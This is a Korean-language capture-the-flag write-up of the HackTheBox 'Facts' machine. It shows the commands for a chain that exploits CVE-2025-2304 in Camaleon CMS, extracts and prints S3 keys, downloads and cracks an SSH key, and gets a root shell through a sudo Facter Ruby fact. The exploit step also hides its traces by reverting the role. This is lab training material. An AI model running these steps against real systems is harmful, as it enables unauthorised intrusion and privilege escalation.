
HackTheBox — Facts (쉬움/Linux) | CVE-2025-2304 + AWS S3 + SSH 키 + Facter 권한 상승
Facts는 알려진 취약점(CVE-2025-2304)을 Camaleon CMS에서 악용하여 로컬 AWS S3 자격 증명을 추출해야 하는 Easy 난이도의 Linux 머신입니다.
내부 S3 버킷을 열거하면 SSH 개인 키가 발견되며, 이를 John the Ripper를 사용해 크래킹하여 초기 접근 권한을 얻어야 합니다.
권한 상승은 /usr/bin/facter에 대한 sudo 잘못된 구성을 악용하여 사용자 지정 Ruby 코드를 실행함으로써 루트 셸을 획득하는 방식으로 이루어집니다.
공격 체인: Nmap → Camaleon CMS (CVE-2025-2304) → S3 버킷 열거 → SSH 키 크래킹 → sudo facter → Root
대상 머신에서 활성 서비스를 식별하기 위해 Nmap 스캔부터 시작하겠습니다. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
결과:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap은 22(SSH)와 80(HTTP) 두 개의 열린 포트를 보여줍니다. 웹 서버는 Nginx 기반입니다. 사이트와 제대로 상호작용하려면 /etc/hosts 파일에 facts.htb 호스트를 추가해야 합니다.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
포트 80에서 사이트를 방문하면 일반적인 웹 페이지가 표시됩니다. 숨겨진 경로를 찾기 위해 디렉터리 무차별 대입 공격(예: ffuf 또는 gobuster 사용)을 실행합니다.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
열거 결과 관리자 패널과 관련된 몇 가지 흥미로운 디렉터리(/admin, /admin.php 등)가 발견되며, 이들은 모두 302 상태 코드로 http://facts.htb/admin/login.로 리디렉션됩니다.

로그인 페이지를 방문하여 인증하거나(또는 패널의 하단을 확인하면) 사이트 뒤에 있는 기술이 Camaleon CMS임을 알 수 있습니다.
오른쪽 하단 모서리에서 중요한 세부 정보가 눈에 띕니다. CMS 버전은 2.9.0입니다.

서버가 Camaleon CMS 2.9.0을 실행 중임을 확인했으므로, 온라인에서 빠르게 검색해 보면 인증된 사용자가 관리자로 권한 상승할 수 있게 해주는 CVE-2025-2304라는 치명적인 취약점을 발견할 수 있습니다.
GitHub(GitHub에서 Alien0ne이 만든)에서 공개 익스플로잇을 찾아 공격자 머신에 다운로드합니다.

보유 중인 자격 증명(예: mattia:mattia)을 전달하여 관리자로 권한을 상승시키고, 민감한 정보를 추출한 후, 명백한 흔적을 남기지 않기 위해 원래 역할로 되돌리는 방식으로 익스플로잇을 실행합니다.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
익스플로잇의 출력은 금광과 같습니다. 서버가 사용하는 로컬 AWS S3 자격 증명과 내부 엔드포인트를 추출해 냅니다.
S3 Access Key: AKIAA103ACAA5953D888
S3 Secret Key: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
S3 Endpoint: http://localhost:54321 (which becomes http://facts.htb:54321 for us)

이 키들을 사용하여 로컬 AWS CLI를 구성하고 머신이 노출한 S3 서비스와 상호작용할 수 있습니다.
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json
이제 사용자 지정 엔드포인트 URL을 전달하여 사용 가능한 버킷을 나열할 수 있습니다:
aws --endpoint-url http://facts.htb:54321 s3 ls
internal과 randomfacts 두 개의 버킷을 발견합니다. internal 버킷을 재귀적으로 탐색하면 키가 포함된 .ssh 폴더를 발견할 수 있습니다!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
id_ed25519 파일(SSH 개인 키)을 우리 머신에 다운로드합니다.
개인 키는 얻었지만 암호(passphrase)로 보호되어 있습니다. 이를 크래킹하기 위해 John the Ripper 스위트를 사용할 것입니다. 먼저 ssh2john을 사용하여 John이 읽을 수 있는 형식으로 키를 변환합니다:
ssh2john id_ed25519 > hash.txt
다음으로 사전 공격을 실행합니다(사용자 지정 단어 목록 my_guess.txt 또는 클래식한 rockyou.txt 사용):
john --wordlist=my_guess.txt hash.txt
암호가 성공적으로 크래킹되었습니다: dragonballz. 이제 서버에 접근하는 데 필요한 모든 것을 확보했습니다!

이제 필요한 모든 것을 확보했으므로 앞서 발견한 두 번째 열린 포트인 SSH 포트(22)를 활용할 수 있습니다.
ssh -i id_ed25519 [email protected]
앞서 찾은 암호를 사용합니다: dragonballz. 접속 성공!
이제 root 접근 권한을 얻기 위해 악용할 수 있는 경로를 찾아야 하므로 sudo -l을 사용합니다.
경로:
/usr/bin/facter
이 경로를 악용하기 위해 미니 스크립트를 사용합니다:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
그런 다음 실행합니다:
sudo /usr/bin/facter --custom-dir=/tmp pwn

공식적으로 root 권한을 획득했습니다!!!
이제 남은 것은 두 개의 플래그를 찾는 것뿐입니다 :)

NMAP — 포트 2개 발견 (22, 80) ↓ 웹 열거 — 관리자 섹션 발견 ↓ Camaleon CMS -> CVE-2025-2304 ↓ 익스플로잇 + AWS 설정 ↓ 해시 크래킹을 위한 John the ripper ↓ SSH 로그인 ↓ Sudo -l ↓ 스크립트 + 실행 ↓ ROOT ✅